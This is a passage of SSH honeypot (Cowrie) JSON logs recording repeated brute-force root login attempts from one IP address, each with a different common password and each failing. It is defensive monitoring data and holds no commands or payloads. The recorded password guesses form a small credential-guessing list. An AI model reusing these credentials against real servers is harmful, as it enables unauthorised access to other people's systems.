hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:44.788095Z","src_ip":"60.165.124.241","session":"f575fbeeade2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ai123456","message":"login attempt [root/Ai123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:45.533747Z","src_ip":"60.165.124.241","session":"f575fbeeade2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:46.774914Z","src_ip":"60.165.124.241","session":"f575fbeeade2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"cff4780784f6","protocol":"ssh","message":"New connection: 60.165.124.241:59722 (10.17.0.5:22) [session: cff4780784f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:47.014217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:47.018993Z","src_ip":"60.165.124.241","session":"cff4780784f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:47.270634Z","src_ip":"60.165.124.241","session":"cff4780784f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@root123","message":"login attempt [root/@root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:47.998833Z","src_ip":"60.165.124.241","session":"cff4780784f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:49.241220Z","src_ip":"60.165.124.241","session":"cff4780784f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34414,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bda8cc88250","protocol":"ssh","message":"New connection: 60.165.124.241:34414 (10.17.0.5:22) [session: 1bda8cc88250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:49.470799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:49.474983Z","src_ip":"60.165.124.241","session":"1bda8cc88250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:49.711222Z","src_ip":"60.165.124.241","session":"1bda8cc88250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Inspur123@","message":"login attempt [root/Inspur123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:50.426447Z","src_ip":"60.165.124.241","session":"1bda8cc88250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:51.665764Z","src_ip":"60.165.124.241","session":"1bda8cc88250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37376,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcd214851476","protocol":"ssh","message":"New connection: 60.165.124.241:37376 (10.17.0.5:22) [session: dcd214851476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:51.902160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:51.906467Z","src_ip":"60.165.124.241","session":"dcd214851476","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:52.149927Z","src_ip":"60.165.124.241","session":"dcd214851476","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456@","message":"login attempt [root/admin123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:52.898635Z","src_ip":"60.165.124.241","session":"dcd214851476","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:54.142142Z","src_ip":"60.165.124.241","session":"dcd214851476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40304,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f00a3e5afa","protocol":"ssh","message":"New connection: 60.165.124.241:40304 (10.17.0.5:22) [session: a6f00a3e5afa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:54.379292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:54.384455Z","src_ip":"60.165.124.241","session":"a6f00a3e5afa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:54.619717Z","src_ip":"60.165.124.241","session":"a6f00a3e5afa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"franco","message":"login attempt [root/franco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:55.607601Z","src_ip":"60.165.124.241","session":"a6f00a3e5afa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:56.849105Z","src_ip":"60.165.124.241","session":"a6f00a3e5afa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43722,"dst_ip":"10.17.0.5","dst_port":22,"session":"689b078d2e4a","protocol":"ssh","message":"New connection: 60.165.124.241:43722 (10.17.0.5:22) [session: 689b078d2e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:57.089592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:57.094742Z","src_ip":"60.165.124.241","session":"689b078d2e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:57.347647Z","src_ip":"60.165.124.241","session":"689b078d2e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5T!","message":"login attempt [root/1q2w3e4r5T!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:58.082778Z","src_ip":"60.165.124.241","session":"689b078d2e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:59.327812Z","src_ip":"60.165.124.241","session":"689b078d2e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46334,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcf553ec4b73","protocol":"ssh","message":"New connection: 60.165.124.241:46334 (10.17.0.5:22) [session: dcf553ec4b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:59.566172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:59.572265Z","src_ip":"60.165.124.241","session":"dcf553ec4b73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:47:59.817694Z","src_ip":"60.165.124.241","session":"dcf553ec4b73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEqwe!","message":"login attempt [root/123QWEqwe!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:00.565626Z","src_ip":"60.165.124.241","session":"dcf553ec4b73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:01.806432Z","src_ip":"60.165.124.241","session":"dcf553ec4b73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49376,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a19f4132073","protocol":"ssh","message":"New connection: 60.165.124.241:49376 (10.17.0.5:22) [session: 7a19f4132073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:02.051103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:02.058620Z","src_ip":"60.165.124.241","session":"7a19f4132073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:02.310404Z","src_ip":"60.165.124.241","session":"7a19f4132073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin212","message":"login attempt [root/admin212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:03.063697Z","src_ip":"60.165.124.241","session":"7a19f4132073","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:04.321102Z","src_ip":"60.165.124.241","session":"7a19f4132073","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52432,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d91745ecfc","protocol":"ssh","message":"New connection: 60.165.124.241:52432 (10.17.0.5:22) [session: e2d91745ecfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:04.555759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:04.560898Z","src_ip":"60.165.124.241","session":"e2d91745ecfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:04.807737Z","src_ip":"60.165.124.241","session":"e2d91745ecfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test12!@","message":"login attempt [root/Test12!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:05.546384Z","src_ip":"60.165.124.241","session":"e2d91745ecfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:06.800208Z","src_ip":"60.165.124.241","session":"e2d91745ecfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55632,"dst_ip":"10.17.0.5","dst_port":22,"session":"42a5a2ca025c","protocol":"ssh","message":"New connection: 60.165.124.241:55632 (10.17.0.5:22) [session: 42a5a2ca025c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:07.037824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:07.043984Z","src_ip":"60.165.124.241","session":"42a5a2ca025c","protocol":"ssh"}
